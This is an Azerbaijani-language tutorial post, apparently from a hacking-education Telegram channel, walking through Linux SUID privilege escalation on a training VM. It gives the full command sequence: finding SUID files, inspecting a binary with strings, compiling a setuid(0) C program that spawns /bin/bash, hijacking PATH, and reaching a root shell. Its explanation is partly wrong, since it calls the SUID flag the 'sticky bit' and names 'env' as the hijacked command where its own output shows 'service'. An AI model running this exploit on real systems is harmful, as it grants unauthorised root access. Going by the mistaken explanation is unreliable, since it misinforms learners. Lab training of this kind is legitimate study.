Linux Privilege Escalation nədir? Hansı təhlükəsizlik boşluqları var? Privilege Escalationda hansı məqamlara əsas fikir verilməlidir? SUİD biti nədir? SUİD nədir? SUİD istifadə edərək Privilege Escalation, SUİD exploit edilməsi
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
SUİD İstifadəsi
SUID (Set User ID) — Linux/Unix sistemlərində bir icazə bayrağıdır və faylın sahibi olan istifadəçinin hüquqları ilə proqramın işləməsinə imkan verir, icra edən istifadəçi kim olursa olsun.Normalda bir proqramı icra etdikdə, o proqram sənin səlahiyyətlərinlə işləyir.
Amma əgər həmin faylda SUID icazəsi təyin olunubsa, proqram faylın sahibinin hüquqları ilə işləyir. Əksər hallarda bu sahiblər root olur.
Məhz bu xüsusiyyətlərinə görə SUİD faylları zəifliyə malik ola bilər və onların analiz edilməsi lazımdır.SUİD fayllarını aşkarlamaq üçün find kommandasından istifadə edəcəyik:
TCM@debian:~$ find / -type f -perm -04000 -ls 2>/dev/null
809081 40 -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
810173 36 -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
809080 44 -rwsr-xr-x 1 root root 43280 Jun 18 2020 /usr/bin/passwd
809078 64 -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
809077 40 -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
816078 12 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
816762 8 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
816764 8 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
815723 948 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
832517 8 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
832743 212 -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
812623 12 -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
473324 36 -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
473323 36 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
473292 84 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
473312 36 -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
473290 60 -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
465223 100 -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
/usr/local/bin/suid-env suid biti olan fayl bizə exploit edilməsi üçün uyğundur.Bəs digərləri niyə bu məsələ üçün uyğun deyil? Çünki digərləri Linux ƏS sistem fayllarıdır.Gəlin tapdığımız faylın icazələrinə baxaq.
TCM@debian:~$ ls -la /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
İcazələrin başlanğıcında görə bilərikki, s (Sticky bit adlanır.) yer alır.Bu o deməkdir ki, root istifadəçisi aşağıda sadalanan kommandalardan istifadə etmiş və s bitini həmin fayla mənimsətmişdir.Yəni aşağıdakı iki kommanda s bit icazəsinin yaranmasına səbəb olmuşdur.
chmod u+s /usr/local/bin/suid-env
chmod 4755 /usr/local/bin/suid-env
Aşağıdakı kommanda ilə faylın icrası zamanı hansı kitabxanalardan istifadə etdiyini görə bilərik.
TCM@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
Bu komanda suid-env faylının içindəki istifadə olunan funksiyaları və yolları göstərir. Orada adətən system("command") kimi çağırış görürsən. Bu onu göstərir ki, proqram sistemdə müəyyən komandanı işləyir.
Əgər bu system("env") kimi bir çağırışdırsa, və sən env komandası yerinə öz proqramını yerləşdirsən, o sənin proqramını root kimi işlədəcək.
SUİD Exploit Edilməsi
SUİD bitinin exploit edilməsi üçün C dilində yazılmış və icrası zamanı bizə root shell verəcək olan proqramı yazırıq.
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
Bu proqram nə edir:
setgid(0)vəsetuid(0)ilə özünü root səlahiyyətinə keçirirsystem("/bin/bash")ilə shell (komanda pəncərəsi) açır
C dilində yazılmış proqramı kompilyasiya edirik.(Binary halına çeviririk)
gcc /tmp/service.c -o /tmp/service
İndi /tmp/service adlı root shell verən proqramımız var.
PATH dəyişənini dəyişirik, bunun sayəsində kompilyasiya etdiyimiz binary proqramı icra etdirəcəyik.
export PATH=/tmp:$PATH
Bu addımda sistemə deyirsən ki, komanda axtaranda əvvəlcə /tmp qovluğuna bax. Yəni, əgər env axtarılırsa və /tmp/env varsa, sistem sənin orda qoyduğun faylı işlədəcək.
SUİD bit olaraq tapdığımız faylı icra edirik.
TCM@debian:~$ export PATH=/tmp:$PATH
TCM@debian:~$ /usr/local/bin/suid-env
root@debian:~#
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Bu fayl daxilində env funksiyası çağırılırsa, o artıq sənin /tmp-də yerləşdirdiyin service proqramını işlədəcək və root hüquqları ilə bash açacaq.id komanda göstərir ki, artıq sən uid=0(root) və gid=0(root) səlahiyyətləri ilə sistemdəsən.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat